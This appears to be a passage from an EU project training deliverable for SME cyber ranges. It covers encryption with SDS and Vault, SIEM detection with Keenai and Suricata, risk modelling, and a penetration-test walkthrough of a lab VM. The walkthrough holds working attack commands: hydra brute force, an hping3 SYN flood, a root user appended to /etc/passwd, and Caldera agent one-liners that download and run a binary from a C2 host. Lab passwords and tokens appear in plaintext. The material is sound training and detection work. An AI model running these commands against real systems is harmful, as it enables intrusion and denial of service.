Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 17.26 seconds

![Figure 110 - Caldera: Results of service detection](image)

**IX.5. Run-Time Security Component**

The cyber range framework can be used to demonstrate and experience how specific threats would affect the network in a ‘what-if’ scenario, increasing awareness of threats and the required defense to protect against attack profiles, promoting the expected benefits for security from using CyberKit4SME tools (Keenai and SDS).

The case study represented below provides the use of Keenai and SDS as tools for detecting and preventing a cyber attack.

![Figure 111 - Runtime security component - Case study architecture](image)

**IX.5.1. SDS**

The Secure Data Services (SDS) enables to store data and consume data in a secure and safe manner protecting data across its lifecycle as it is stored, accessed and used. This includes facilities to govern data access and validation across the whole data lifecycle.
Starting from clear text in “tickdata_EUR_USD_July_2021.csv” (Target 1):

```bash
cat /data/tickdata_EUR_USD_July_2021.csv
```

![Figure 112 - SDS: Contents of csv file](image)

It is possible to encrypt this data using the SDS tool in order to make private data unreadable for unauthorized users.

![Figure 113 - SDS: Working diagram](image)

**IX.5.1.a. Pre-Requisites**

Install Vault
Deliverable 6.5 SME cyber range training course content

1 5/07/2022

CyberKit4SME

docker run -d --cap-add=IPC_LOCK -e
'VAULT_DEV_ROOT_TOKEN_ID=qRARHdD6P3OwimWDbWGauBoI' -e
'VAULT_DEV_LISTEN_ADDRESS=0.0.0.0:8200' -p 8200:8200 vault

export VAULT_TOKEN="qRARHdD6P3OwimWDbWGauBoI"
export VAULT_ADDR='http://172.17.0.2:8200'
export SDS_ADDR='http://172.17.0.3:9000'

Enable transit engine

curl --header "X-Vault-Token: $VAULT_TOKEN" --request POST --data '{"type": "transit"}' $VAULT_ADDR/v1/sys/mounts/transit

View created container (Vault)

docker ps

<table>
<thead>
<tr>
<th>CONTAINER ID</th>
<th>IMAGE</th>
<th>COMMAND</th>
<th>CREATED</th>
<th>STATUS</th>
<th>PORTS</th>
<th>NAMES</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tele9aas9de4f4</td>
<td>docker-entrypoint.sh</td>
<td>9 minutes ago</td>
<td>Up 9 minutes</td>
<td></td>
<td>0.0.0.0:8200-&gt;8200/tcp, 172.17.0.2:8200-&gt;8200/tcp</td>
<td>cool_curte</td>
</tr>
</tbody>
</table>

Figure 114 - SDS: Vault docker created

IX.5.1.b. SDS Gateway

Download SDS image and load into the local registry

docker load < sds-gateway-0.1.tar.gz

Run SDS container on port 9000

docker run -p 9000:9000 -d --name sds-gateway-1 sds-gateway-1

Configure connection to Vault and Table locations, attach to the running container

docker exec -i -t sds-gateway-1 /bin/bash

Update the configuration file

cat /app/sds-gateway-1.0-SNAPSHOT/conf/application.conf
IX.5.1.c. SDS Client

Under SDS -> client directory, create a file vault-token.txt with the token to the Vault "qRARHdD6P30wimWDbWGauBoI"

```bash
cat vault-token.txt
```

Figure 117 - SDS: Creating token to the Vault

Edit config.py to point to the SDS URL

```python
cat config.py
```

Figure 118 - SDS: Editing config.py to point SDS URL

Run create_virtualenv.sh

```
./create_virtualenv.sh
```

Alternatively
rm -rf venv
virtualenv venv -p python3.9
source ./venv/bin/activate
pip install -r requirements-build.txt

Enable virtual environment
source venv/bin/activate

Run SDS client
flask run --host 0.0.0.0

```
(env) root@giovanni-VirtualBox:/home/giovanni/Scrivania/SDS/client# flask run --host 0.0.0.0
  * Tip: There are .venv or .flaskenv files present. Do `pip install python-dotenv` to use them.
  * Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.
  * Debug mode: off
    INFO:werkzeug: * Running on all addresses (0.0.0.0)
    WARNING: This is a development server. Do not use it in a production deployment.
    * Running on http://127.0.0.1:5000
    * Running on http://[::1]:5000
    * Running on http://192.168.56.131:5000 (Press CTRL+C to quit)
```

![Figure 119 - SDS: Command to start client](http://192.168.56.131:5000/)

```
Hello, CyberKit4SME!
```

![Figure 120 - SDS: Application hello page](http://192.168.56.131:5000/)

Finally, initialize the Hudi table
```
curl -X POST "$SDS_ADDR/init-hudi" -H "accept: application/json" -H "Content-Type: application/json" -H "Authorization: Bearer qRARHdD6P3OwimWDbWGauBoI"
```

convert ssh.txt in credentials.csv file and move credentials.csv file inside the container
docker cp credentials.csv eeb113327289:/home/giovanni/CK4SME/

Restart SDS Gateway
docker container restart eeb113327289

Now it is possible encrypt parquet file using SDS client:
http://192.168.56.131:5000/bulk_import/

**Figure 121 - SDS: Encrypting parquet file using SDS client**

Click on **Run bulk import**

**Figure 122 - SDS: Bulk import**

It is possible to see the directory `/data/transactions.parquet` created:

```
ls -lart
```

This directory contains the encrypted file:
CyberKit4SME Sample Application  Home  Login  SQL Query  Insert Data  Bulk Import

To decrypt parquet file using SDS client:

http://192.168.56.131:5000/query

SELECT Username, Password FROM credentials WHERE Role = 'ssh'

IX.5.1.d. Exercise 1
Run SQL queries on the encrypted transactions table

SELECT MAX(Close) FROM transactions

Query result: `"max(Close)" : "1.18848"`
IX.5.2. Keenai

Keenai is a Security Information and Event Management (SIEM) that allows Small and Medium Enterprise (SME) to identify one or more phases of an attack in real time through the correlation of events (logs).

The Keenai console is accessible from a web browser by logging on the following address:

[https://192.168.56.134/](https://192.168.56.134/)
The user connects to the Keenai platform by entering a valid login/password combination. Console user credentials:

- User: **keenai-adm**
- Password: **abz`zKrx=6oby)@**

The operation view is displayed by clicking the top menu Supervision > Operation

---

**Figure 128 - Keenai: Console**

At the VM startup, all services are supposed to be launched automatically. But depending on sync / system issues, it is possible that the central job doesn’t properly start.

If new collected events are suspected not to be properly centralized and displayed, the central job may not be launched correctly.

Use the following commands to make it runs correctly:

```bash
# Get the Yarn container name in an environment variable
YARN_RM_CONTAINER_NAME=$(docker ps --format {{.Names}} --filter label=com.inetum.type=flink_yarnclient | head -1)

# Stop the Yarn / Flink application
docker exec $YARN_RM_CONTAINER_NAME /usr/local/flink/bin/stop-flink.sh

# Start the Yarn / Flink application
docker exec $YARN_RM_CONTAINER_NAME /usr/local/flink/bin/yarn-session.sh -d

# Launch the Keenai job
docker exec $YARN_RM_CONTAINER_NAME /usr/local/flink/jobs/events-workflow/scripts/launch-events-workflow-job.sh
```
Some log sources are already included in the VM: Firewall UFW, Apache web server, SSH and Suricata (IDS).

The Syslog-ng configuration is located here:

```
ls -lart /etc/syslog-ng/conf.d/
```

![Figure 129 - Keenai: Syslog-ng configuration file](image)

The same configuration can be used to connect logs from another system:

1. Install Syslog-ng
2. Copy paste files in `/etc/syslog-ng/conf.d` and change the Keenai target IP address in `002_keenai_dst.conf`
3. Restart Syslog-ng (service syslog-ng restart)

We have configured Target 1 (Sahu) to send the logs to Keenai, so it is possible to see all operations on Sahu.

**IX.5.2.a. SSH Access**

From Kali Linux we test SSH access to the target:

```
ssh haryana@192.168.56.110
```

*Password: hralltime*

![Figure 130 - Keenai: Accessing the target from Kali Linmux](image)

On Keenai it is possible to see event:

![Figure 131 - Keenai: Event seen on Keenai console](image)

Generated by 300_ssh.conf:
IX.5.2.b. Bruteforce SSH Detection

Configure Suricata to detect Bruteforce SSH attack:

```
cat /etc/suricata/rules/my.rules
alert tcp any any -> $HOME_NET 22 (msg:"Possible SSH Bruteforce Attack"; flow:stateless; threshold:type both,track by_dst,count 10,seconds 10; sid:2524; rev:12;)
```

Restart Suricata

```
service suricata restart
```

and set network card in promiscuous mode.

From Kali Linux, test bruteforce SSH attack to the target 1:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.110 -t 4 ssh
```

On Keenai it is possible to see events under Supervision -> Operation:
IX.5.2.c. DoS Attack Detection

Configure Suricata to detect DoS attack:

```
cat /etc/suricata/rules/my.rules
```

```
alert tcp any any -> $HOME_NET 80 (msg:"Possible DoS Attack"; flow:stateless; flags:S; threshold:type both,track by_dst,count 10,seconds 10; sid:2523; rev:11;)
```

```
```

```
```

Restart Suricata

```
```
Deliverable 6.5 SME cyber range training course content

hping3 --flood -p 80 -S 192.168.56.110

```
root@kali:~# hping3 --flood -p 80 -S 192.168.56.110
HPING 192.168.56.110 (eth0 192.168.56.110): 5 set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
```

Figure 139 - Keenai: From Kali Linux test SYN Flood attack to T1

On Keenai it is possible to see events under Supervision -> Operation:

![Keenai operation](image)

**Operation:**

```
59 6 3
```

**Keenai:**

- 59: 59 events
- 6: 6 anomalies
- 3: 3 thresholds

**alerts:**

- 12: 12 alerts
- 9: 9 anomalies
- 0: 0 thresholds

**Processes:**

- 8: 8 processes
- 7: 7 connections
- 1: 1 open connections
- 0: 0 closed connections

**System statistics:**

- CPU: 0.2%
- Mem: 3.0%
- Disk: 0.0%
- Network: 0.0%

**System load:**

- Load average: 0.0

**Network activity:**

- 0 events/s

**Figure 140 - Keenai: DoS detected, shown in the console**

Generated by 400_suricata.conf:

```
Figure 141 - Keenai: DoS event seen on Keenai console
```

**IX.5.2.d. Exercise 1**

Configure Suricata to detect ping (ICMP):

```
cat /etc/suricata/rules/my.rules
```

```
alert icmp any any -> $HOME_NET any (msg:"ICMP connection attempt"; sid:1000002; rev:1;)
```

**A SYN flood** is a form of denial-of-service attack in which an attacker rapidly initiates a connection to a server without finalizing the connection. The server has to spend resources waiting for half-opened connections, which can consume enough resources to make the system unresponsive to legitimate traffic.
Deliverable 6.5 SME cyber range training course content

Restart Suricata

`service suricata restart`

From Kali Linux, test ping to the target 1:

`ping 192.168.56.110`

From Kali Linux, test ping to the target 1:

```
root@kali:~ # ping 192.168.56.110
PING 192.168.56.110 (192.168.56.110) 56(84) bytes of data.
64 bytes from 192.168.56.110: icmp_seq=1 ttl=64 time=0.331 ms
64 bytes from 192.168.56.110: icmp_seq=2 ttl=64 time=0.317 ms
64 bytes from 192.168.56.110: icmp_seq=3 ttl=64 time=0.292 ms
64 bytes from 192.168.56.110: icmp_seq=4 ttl=64 time=0.293 ms
64 bytes from 192.168.56.110: icmp_seq=5 ttl=64 time=0.289 ms
```

On Keenai it is possible to see events under Supervision -> Operation:

```
<table>
<thead>
<tr>
<th>Event Type</th>
<th>Display Name</th>
<th>Security</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
<td>N/A</td>
</tr>
</tbody>
</table>
```

Generated by 400_suricata.conf:
IX.5.2.e. Exercise 2

From Kali Linux, test nmap scan to the Keenai server:

```
nmap -e eth0 -S T 192.168.56.134
```

![Figure 147 - Keenai: Details of the Ping event](image)

On Keenai it is possible to see events under Supervision -> Operation:

![Figure 148 - Keenai: Test Nmap scan from Kali Linux to Keenai server](image)
IX.5.2.f. Exercise 3

From Kali Linux, test SYN Flood DoS attack to the Keenai server:

```
hping3 --flood -p 80 -S 192.168.56.134
```

On Keenai it is possible to see events under Supervision -> Operation:
IX.6. Risk Modelling tools

In this section, we apply a user journey approach to model human behaviour and visually map SMEs' practices and threats, along with a visualisation of the socio-technical actor network, targeted specifically at the risks highlighted in the user journey.

To achieve these goals, we combine two modelling languages:

- HORM (Human and Organisational Risk Models) -> a visual language for modelling and visualisation of work processes in terms of user journeys,
- SSM (System Security Modeller) -> an asset-based risk-analysis tool for socio-technical systems.

To better demonstrate the mapping and visualisation elements of HORM and SSM, as well as their interconnectivity, an application of the two modelling languages in a mock threat scenario is presented as a case study.

A Small and Medium Enterprise with a data breach (email leak) is exposed to a phishing attack:

1. an employee receives an email asking him to recovery password,
2. the employee logs in,
3. the hacker gains him login credentials.

IX.6.1. HORM

HORM is a tool based on CJML (Customer Journey Modelling Language), a easy-to-use modelling language that offers a terminology, syntax, diagrams and methods.

The HORM visualisation of the threat scenario is presented in Image 1.

![HORM: Phishing attack visualization](image1.png)

A network journey diagram is used since the user scenario involves several actors. The actors’ touchpoints are organised in horizontal paths in a chronological order from left to right. The HORM model uses action elements to explain the context of each actor.

A warning sign is introduced throughout to emphasize cybersecurity threats and potential consequences.

IX.6.2. SSM

SSM toolkit has been developed at University of Southampton IT Innovation Centre and enables the user to identify threats and risks in an information system. It is a static risk modelling tool following a standardised risk assessment approach described in ISO 27005.

Using the SSM we have modelled the same scenario in Image 2. An important point to note is that in the SSM models, attackers are not described explicitly. Instead, the "sunny day" scenario is modelled, showing how the information system is expected to operate. All possible attacks are considered in the analysis however.
Such a model would generally require input from various people to construct (network administrator, software and data specialists) and when completed helps communicate the system as well as the threats.

The initial model analysis and risk calculation by the SSM finds many threats to the system, the SSM user makes use of various displays describing threats to the system and their consequences, and is also shown options, where available, to add security measures to reduce risk.

After you have built your network model you will need to validate the model. This means that the SSM tool will check that all your assets and relationships are valid, find the threats and misbehaviours applicable to your system, set default impact levels and more.

Once the model has been validated, security controls can be added reflecting what is in place or what the analyst knows needs to be in place. In this example some basic controls have been put in place:

- secure configuration and secure BIOS to secure the servers;
- access control and password verification at the Apache service along with the password being available at the Web Browser;
- TLS between Apache and the Web Browser.
You can now explore the possible threats to your system and select security controls for assets or control strategies for threats. The aim is to eliminate, or at least to mitigate, the threats by applying the suggested security controls to specific assets in the system and then validating the system again with the new security in place. This means you will be able to test the effect of applying the security controls before implementing them in real life.

**IX.6.2.a. Possible Modelling Errors**

It is quite likely that you will find some modelling errors, especially while learning how to use SSM. In our example, SSM tells us that we have 5 “Possible Modelling Errors” which have been resolved in the screenshot above. For example:
In this case the SSM is pointing out that non-trivial servers should have a manager defined in the model (many potential threats can arise through such a relationship). Either a manager can be added to the model and linked to the server or (as has been done here) a “Control Strategy” can be selected to indicate that the omission of the manager is intentional and threats involving such a manager are out of scope for this particular analysis.

IX.6.2.b. Adverse Effects and their Impact

The impact of a security breach will be different for every business/organisation. The SSM tool allows you to modify the default impact levels for the effects of threats at all the assets in your model, which gives you the flexibility to reflect your specific context accurately.

The Impact Level is the extent to which your business would be negatively affected by a security event occurring. For example, how badly would your business be affected if your Customer Database was hacked and your Customer Names stolen? In this example model, the impact of the data asset losing confidentiality has been set to “high”:
SSM uses the five Impact levels listed below:

<table>
<thead>
<tr>
<th>Misbehaviour impact level</th>
<th>Means</th>
</tr>
</thead>
<tbody>
<tr>
<td>Very high</td>
<td>This misbehaviour in this asset will be fatal to key business interests. Very few misbehaviour sets will be at this level, but those that are must be prevented at all costs.</td>
</tr>
<tr>
<td>High</td>
<td>This misbehaviour in this asset has a serious impact on the business, and will be fatal if not addressed quickly.</td>
</tr>
<tr>
<td>Medium</td>
<td>This misbehaviour in this asset can be tolerated for a time, but will become serious if not addressed.</td>
</tr>
<tr>
<td>Low</td>
<td>This misbehaviour in this asset can be tolerated, but it does degrade business function or efficiency.</td>
</tr>
<tr>
<td>Very low</td>
<td>This misbehaviour in this asset has negligible impact on the business.</td>
</tr>
</tbody>
</table>

**IX.6.2.c. Threats**

A weakness or vulnerability in your system is a Threat, that they cause assets in your system to Misbehave (behave unpredictably or maliciously).

A Misbehaving asset causes a negative Impact on your business (financial, reputational, legal, etc). Threats and their associated Misbehaviours have a calculated Likelihood of occurring.

Risk is therefore calculated by assessing the likelihood that something will occur and the impact on your business if that thing does occur. Risk levels are shown in the table below:

<table>
<thead>
<tr>
<th>Impact</th>
<th>Very Low</th>
<th>Low</th>
<th>Medium</th>
<th>High</th>
<th>Very High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Very Low</td>
<td>Very Low</td>
<td>Very Low</td>
<td>Very Low</td>
<td>Low</td>
<td>Low</td>
</tr>
<tr>
<td>Low</td>
<td>Very Low</td>
<td>Very Low</td>
<td>Very Low</td>
<td>Low</td>
<td>Medium</td>
</tr>
<tr>
<td>Medium</td>
<td>Very Low</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
<td>High</td>
</tr>
<tr>
<td>High</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
<td>Very High</td>
<td>Very High</td>
</tr>
<tr>
<td>Very High</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
<td>Very High</td>
<td>Very High</td>
</tr>
</tbody>
</table>

SSM will automatically calculate the likelihoods of each risk and the effects that they cause. The risk of effects can then be calculated by factoring in the defined impact and the risk for each threat is set to the highest risk that it causes.
Many threats are described and often the simplest way to start understanding the problems in the system is to look at the list of highest risk effects:

**Figure 163 - SSM: Example of threats list**

<table>
<thead>
<tr>
<th>Threat Description</th>
<th>Asset</th>
<th>Likelihood</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileged network path(s) from “Web Browser” to “Apache” are open (2a00)</td>
<td>[ClientServiceAccessPath:WredLAN_c01/2z-(Web Browser)-Apache]</td>
<td>Very High</td>
<td>High</td>
</tr>
<tr>
<td>Communication failure between “Web Browser” and “Apache” (2b20)</td>
<td>[ClientServiceRelationship:(Web Browser)-Apache]</td>
<td>Very High</td>
<td>High</td>
</tr>
<tr>
<td>Compromised client “Web Browser” on host “Workstation” used to access “Apache” via “WIFILAN_q17b” (a502)</td>
<td>[ClientServiceRelationship:(Web Browser)-Apache]</td>
<td>Medium</td>
<td>High</td>
</tr>
<tr>
<td>Reflected XSS exploit on “Web Browser” via “Apache” injected via client input “Data” from “DB” (479b)</td>
<td>[ClientServiceRelationship:(Web Browser)-Apache]</td>
<td>Medium</td>
<td>High</td>
</tr>
<tr>
<td>Reflected XSS exploit on “Web Browser” via “Apache” injected via client input “[SpamData: (Email Client)]” from “Email Client” (20ee)</td>
<td>[ClientServiceRelationship:(Web Browser)-Apache]</td>
<td>Medium</td>
<td>High</td>
</tr>
<tr>
<td>Credential stuffing to find password used by “Admin” to access “Apache” from “Web Browser” (bc07)</td>
<td>[ClientServiceRelationship:(Web Browser)-Apache]</td>
<td>Medium</td>
<td>High</td>
</tr>
<tr>
<td>Client channel from “Apache” to “DB” is in service (82c3)</td>
<td>[ClientServiceRelationship:Apache-DB]</td>
<td>Very High</td>
<td>High</td>
</tr>
<tr>
<td>Client channel from “Web Browser” to “Apache” is in service (b060)</td>
<td>[ClientServiceRelationship:Web Browser-Apache]</td>
<td>Very High</td>
<td>High</td>
</tr>
<tr>
<td>“Apache” affected by access to compromised service “DB” via “[Socket:AN Server-[World]]” (556a)</td>
<td>[ClientServiceRelationship:Apache-DB]</td>
<td>Medium</td>
<td>High</td>
</tr>
<tr>
<td>Client “Web Browser” affected by access to compromised service “Apache” via “WredLAN_c110c” (71b0)</td>
<td>[ClientServiceRelationship:(Web Browser)-Apache]</td>
<td>Medium</td>
<td>High</td>
</tr>
<tr>
<td>Imposter posing as “Web Browser” gains access to service “Apache” from “WIFILAN_q17b” (39d7)</td>
<td>[ClientServiceRelationship:(Web Browser)-Apache]</td>
<td>Medium</td>
<td>High</td>
</tr>
</tbody>
</table>

**Figure 164 - SSM: Effects and their impact**

By clicking on the “LossOfConfidentiality” link for the “Data” asset, the “Effect Explorer” is opened for this threat effect and five “root causes” of the effect are shown, including the “Phishing attack” that is the subject of this exercise:
Clicking on the “Phishing attack” link opens the “Threat Explorer” for this threat which describes it further, shows the direct cause (that the person in the system is not very astute and so fairly easily fooled), and suggests two control strategies: adding spam filtering on the users’ email client or providing training for the user:

Figure 165 - SSM: Effect explorer
IX.7. Exercise

An insecure internet free wifi is exposed to a man in the middle attack:

1) an employe connect into a coffee shop to an open internet free wifi,
2) the employe log in web mail,
3) the hacker gains him login credentials.

IX.7.1. HORM (man in the middle)

The HORM visualisation of the threat scenario is presented in Image 3

Figure 166 - SSM: Threat explorer
IX.7.2. SSM (man in the middle)

Using the SSM we have modelled the same scenario in Image 4 by making some small changes to the previous model.
IX.7.2.a. Threats

In the analysis of this model there are 651 threats found. Threats can be filtered by a variety of attributes, including the short threat description. Filtering by the word "spoofing" shows a list of 15 threats, including the top 4:
The threat described in the scenario is the first one. Clicking on the threat opens the Threat Explorer:

Figure 169 - SSM: Threats list

Figure 170 - SSM: Threat explorer

The single “Direct effect” of this spoofing attack is that of “Service Impersonation”. Clicking on this link opens the relevant Effect Explorer which show that one consequence of the effect is indeed the imposter (attacker) capturing the user’s password using the fake Apache service:
Going back to the Threat Explorer we can see that a Control Strategy is to add an X509 certificate at Apache and that the Web Browser should verify the X509 certificate. Such a control strategy has a “very high blocking effect” or effectiveness.
X. ANNEX B – OPTIONAL PRESENTATION

D6.5 - SME cyber range training course content - Annex B

VERSION 1.0
1ST JULY 2022

Tools enabling cyber range

Cyber range framework and attack simulation tool selected are:

✓ Open Source
✓ Standalone
✓ Multi-platform
✓ User Friendly
✓ Easy to install
✓ Easy to replicate

VirtualBox is a virtualization product for enterprise and home use. It is a professional solution that is freely available as Open Source Software under the terms of the GNU General Public License (GPL) version 2.

CALDERA is a cyber security platform designed to easily automate adversary emulation, assist manual red teams and automate incident response. It is built on the MITRE ATT&CK framework and is an active research project at MITRE.

Figure 172 - Slide 1

Figure 173 - Slide 2
Cyber Range Scenario

Figure 174 - Slide 3

SDS

The Secure Data Services (SDS) enables to store data and consume data in a secure and safe manner protecting data across its lifecycle as it is stored, accessed and used.

For example, SDS allows to encrypt and verify the integrity of:
- Sensitive data
- Personally Identifiable Information

Figure 175 - Slide 4
Keenai

A Security Information and Event Management (SIEM) allows Small and Medium Enterprise (SME) to identify one or more phases of an attack in real time.

For example, Keenai allows to identify:
- Network scan
- DoS and DDoS attack
- Bruteforce attack

Figure 176 – Slide 5

HORM

Human and Organisational Risk Model (HORM) is a tool based on CJML, a easy-to-use modelling language that offers a terminology, syntax, diagrams and methods.

For example, HORM allows to describe:
- Phishing attack
- Man in the middle attack

Figure 177 – Slide 6
SSM

System Security Modeller (SSM) toolkit has been developed at University of Southampton and allows to identify threats and risks related.

It is a static risk modelling and follows a standardized risk assessment approach described in ISO 27005.

Figure 178 – Slide 7

Methodology

The international standards used during a Vulnerability Assessment and Penetration Test (VAPT) activity are: OWASP and OSSTMM

OSSTMM

The Open Source Security Testing Methodology Manual provides a methodology to test the operational security of physical locations, human interactions, and all forms of communications such as wireless, wired, analog, and digital.

The Institute for Security and Open Methodologies (ISECOM) develops and manages this methodology.

https://www.isecom.org

OWASP

The Open Web Application Security Project is a nonprofit foundation that works to improve the security of software.

Through community-led open-source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technology to secure the web.

https://owasp.org

Figure 179 – Slide 8
VAPT Steps

A Vulnerability Assessment and Penetration Test consists of several phases which end with the drafting of a report.

1. Information Gathering
   - Active (Port Scanning)
   - Passive (Google, WHOIS)

2. Service Enumeration
   - Banner Grabbing

3. Vulnerability Assessment
   - Exploit-DB

4. Exploitation
   - System access
   - Privilege Escalation

5. Reporting
   - Score, vulnerability description and fix

Figure 180 – Slide 9

Information Gathering

A ping sweep is a basic network scanning technique used to determine which of a range of IP addresses map to live hosts. It consists of ICMP (Internet Control Message Protocol) echo requests sent to multiple hosts; if a given address is live, it will return an ICMP echo reply.

- Target
  https://www.vulnhub.com/entry/sahu-11,421/

nmap -e eth0 -sn 192.168.56.1-254
netdiscover -i eth0

Figure 181 – Slide 10
Port Scanner

After identifying the IP of the target, it proceeds with TCP and UDP scan in order to find the open ports.

**TCP Scanning**
```
nmap -e eth0 -sT -p 1-65535 192.168.56.110
```

**UDP Scanning**
```
nmap -e eth0 -sU -p 192.168.56.110
```

Figure 182 – Slide 11

Service Enumeration

In this phase, the services and relative versions associated to the TCP and UDP open ports are displayed.

**TCP Scanning**
```
nmap -e eth0 -sV -sT -p 1-65535 192.168.56.110
```

**UDP Scanning**
```
nmap -e eth0 -sV -sU -p 192.168.56.110
```

Figure 183 – Slide 12
Vulnerability Assessment 1/8

Starting from the services and relative versions found on the open ports, we look for vulnerabilities. There is FTP server running on port 21/tcp with anonymous login.

```bash
nmap -e eth0 -A -p 21 192.168.56.110
```

FTP:
- **username:** ftp
- **password:**

```plaintext
Connected to 192.168.56.110.
220 (vsFTPd 3.0.3)
Name (192.168.56.110: ftp)> get ftp.zip
331 Please specify the password.
331 Password: 
331 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Figure 184 – Slide 13

Vulnerability Assessment 2/8

There is `ftp.zip` file

```bash
ls
```

Download it on Kali Linux local machine

```bash
get ftp.zip
```

FTP:
- Initial: `get ftp.zip`
- `220` (vsFTPd 3.0.3)
- `331` Please specify the password.
- `Password: `
- `331 Login successful.`
- Remote system type is UNIX.
- Using binary mode to transfer files.
- `550` Error, user not authorized to write.
- `226 Directory send OK."

When try to unzip it, it is necessary a password:

```bash
unzip ftp.zip
```

Figure 185 – Slide 14
Deliverable 6.5 SME cyber range training course content

Vulnerability Assessment 3/8

There is an Apache server running on port 80/tcp
http://192.168.56.110:80/

Analyze HTML:

```html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    <title>Haryana</title>
  </head>
  <body>
    <!-- HTML content -->
  </body>
</html>
```

Downloading the Haryana.jpg file
wget http://192.168.56.110/Haryana-1-1.jpg

```
[Code output]
```

Figure 186 – Slide 15

Vulnerability Assessment 4/8

Running dirb tool to find other directory
dirb http://192.168.56.110:80/

```
[Command output]
```

As a result, we found a directory /H/A/R/A/. If you remembered that the image on the web-page was of Haryana so we can correctly assume that the full directory will be /H/A/R/A/N/A/ and when opened in the browser you can see the following:

http://192.168.56.110:80/H/A/R/A/N/A/

In the source code, there will be a phrase saying "try to extract with hurry".

Figure 187 – Slide 16
Vulnerability Assessment 5/8

We had found an image on a web page (Haryana-1-1.jpg) and we have the hint in the source code (try to extract with hurry).

```
steghide extract -sf Haryana-1-1.jpg
```

After extracting the file we found a new file file.txt and we see author massage hint I have forgotten the last two part of it can you find out SAHU**

```
cat file.txt
```

I have found the password for a zip file but I have forgotten the last part of it, can you find out SAHU**

Figure 188 – Slide 17

Vulnerability Assessment 6/8

According to the hint, it means that the first four characters of the password are SAHU and password is of six characters in length and we must find last two characters in order to get the password.

We can easily do this using crunch tool and construct a dictionary to fuzz up the password. The last two characters could be of any combination, for example it can be alpha-numeric or special character and so on, therefore, use the following set of command to make a dictionary using a crunch of every possible combination:

```
@, -> uppercase and lowercase letters
@% -> lowercase letters and number
@^ -> lowercase letters and special characters
% -> uppercase letters and numbers
%^ -> numbers and special characters
^@ -> special characters and lowercase letters
^% -> special characters and numbers
```

```
crunch 6 6 -t 5AHU% -> dictionary_password.txt
```

Figure 189 – Slide 18
Vulnerability Assessment 7/8

Once our wordlist is created we can start our attack using `fcrackzip` tool:

\[ \text{fcrackzip -uD -p dictionary_password.txt ftp.zip} \]

Password: SAHU#5

As from the nmap port scan it was clear that the SMB port (139/tcp) was open, we run the `enum4linux` tool to enumerate the SMB service:

\[ \text{enum4linux \(-a \) 192.168.56.110} \]

cat ftp.txt

Username: sahu
Password: sahu14216

Figure 190 – Slide 19

Vulnerability Assessment 8/8

A connection through sambashare can be made using `smbclient` tool:

\[ \text{smbclient \(/\backslash 192.168.56.110\backslash sambashare\ -U \text{sahu} \)} \]

ls

Username: harriltime
Password: harriltime

Figure 191 – Slide 20
Exploitation

Let’s try to login through SSH with credential found:

```
ssh haryana@192.168.56.110
```

```
root@kali:/# ssh haryana@192.168.56.110
haryana@192.168.56.110:~$ password:
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-18-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

525 updates can be installed immediately.
45 of these updates are security updates.
To see these additional updates run apt list --upgradable
Failed to connect to https://chocolatey.org/api/v2/repo
Last login: Wed Mar 2 21:15:49 2022 from 192.168.56.101
haryana@asu-VirtualBox:~$ whoami
haryana
haryana@asu-VirtualBox:~$ id
uid=1001(haryana) gid=1001(haryana) groups=1001(haryana)
```

Figure 192 – Slide 21

Privilege Escalation

We found that /etc/passwd file is writable which allows us to make a new user and alter its permissions:

```
ls -lart /etc/passwd
```

```
-haryana@asu-VirtualBox:~$ ls -lart /etc/passwd
-rw-rw-rw- 1 user user 1 16:29 /etc/passwd
```

Create a new user generating a new MD5 salted hash

```
openssl passwd -1 -salt userhack pass123
```

```
-haryana@asu-VirtualBox:~$ openssl passwd -1 -salt userhack pass123
```

We use the echo command to add this user into the /etc/passwd file

```
echo 'userhack:$1$userhack$6mFlYb1UK5sdrcserOtWM0:0:0:root:/root:/bin/bash' >> /etc/passwd
```

```
-haryana@asu-VirtualBox:~$ echo 'userhack:$1$userhack$6mFlYb1UK5sdrcserOtWM0:0:0:root:/root:/bin/bash' >> /etc/passwd
```

Figure 193 – Slide 22
Caldera

Caldera is a cyber security platform designed to easily automate adversary emulation and assist manual red-teams. It is built on the MITRE ATT&CK framework.

The framework consists of two components:

- **The core system**: this is the framework code, consisting of what is available in this repository. Included is an asynchronous command-and-control (C2) server with a REST API and a web interface,

- **Plugins**: these repositories expand the core framework capabilities and providing additional functionality. Examples include agents, reporting, collections of TTPs and more.

![Figure 194 – Slide 23](image)

Agent deploy on Kali Linux

Select the agent (54ndc47), Kali Linux Operative System, Caldera URL and agent name (splunkd) to obtain the command line string:

```
servers="http://192.168.56.120:8888"; curl -s -X POST -H "file: sandcat.go" -H "platform: linux" $server/file/download > splunkd; chmod +x splunkd; ./splunkd-server $server -group red -v
```

![Figure 195 – Slide 24](image)
Port Scanner

Select agent run on Kali Linux and chose tactic discovery, technique T1046 | Network Service Scanning and ability Scan IP for ports

Insert target IP (Kioptrix Level 1)

Figure 196 – Slide 25

Enumeration Services

Select agent run on Kali Linux and chose tactic discovery, technique T1046 | Network Service Scanning and ability Fingerprint network services

Insert target IP and ports

Figure 197 – Slide 26
Agent deploy on Target

Select the agent (54ndc47), Sahu operative system, Caldera URL and agent name (splunkd) to obtain the command line string:

```
server="http://192.168.56.120:8888"; curl -s -X POST -H "file: sandcat.go" -H "platform: linux" $server/file/download > splunkd; chmod +a splunkd; ./splunkd -server $server -group red -v
```

Caldera can use this agent on Target to find user processes and local users or to make lateral movement to discovery network of server target.

---

Target local users

